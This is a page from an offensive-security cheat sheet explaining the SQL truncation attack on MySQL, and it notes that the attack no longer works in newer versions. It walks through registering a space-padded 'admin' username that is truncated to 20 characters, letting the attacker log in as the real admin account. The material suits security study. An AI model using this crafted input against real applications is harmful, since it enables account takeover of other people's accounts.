> For the complete documentation index, see [llms.txt](https://heinosass.gitbook.io/leet-sheet/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/interesting-outdated-attacks/sql-truncation.md).

# SQL Truncation

It's an attack that **no longer works** in the latest MySQL versions.

{% embed url="<http://resources.infosecinstitute.com/sql-truncation-attack/>" %}

## Overview

**Prerequisites**:

* MySQL database backend

A SQL Truncation attack takes advantage of two features in MySQL to subvert application logic. These features are:

1. If the length of a VARCHAR is exceeded, then the rest of it is simply cut off (truncated) - **this is no longer a feature of MySQL**.
2. By default, MySQL ignores trailing whitespace when making comparisons ([MySQL Loose Comparisons)](/leet-sheet/web-app-hacking/server-attacks/loose-comparisons.md#mysql)

*Note: This attack doesn't work in newer MySQL versions and other databases like PostgreSQL because an error is thrown when the length of a VARCHAR is exceeded.*

## Attack Walkthrough

Let's say there's a website with a MySQL backend and a users table, where the username is of type `VARCHAR(20)`. Let's also say that there is an admin account

Register the following user:

* username: `admin (lots of spaces in between)And then whatever`
* password: `mypassword123`

It produces the following SQL query:

```
INSERT INTO users (name, password) VALUES ('admin                         (lots of spaces in between)And then whatever', 'mypassword123');
```

Because of SQL truncation to 20 characters, the above is effectively the same as:

```
INSERT INTO users (name, password) VALUES ('admin               ', 'mypassword123');
```

When you later try to log in with `admin:mypassword123`, then that produce the following query:

```
SELECT * FROM users WHERE username='admin               ' AND password='mypassword123' 
```

Because of [MySQL loose comparisons](/leet-sheet/web-app-hacking/server-attacks/loose-comparisons.md#mysql), `admin` is the same as `admin` and you can log in as the admin user.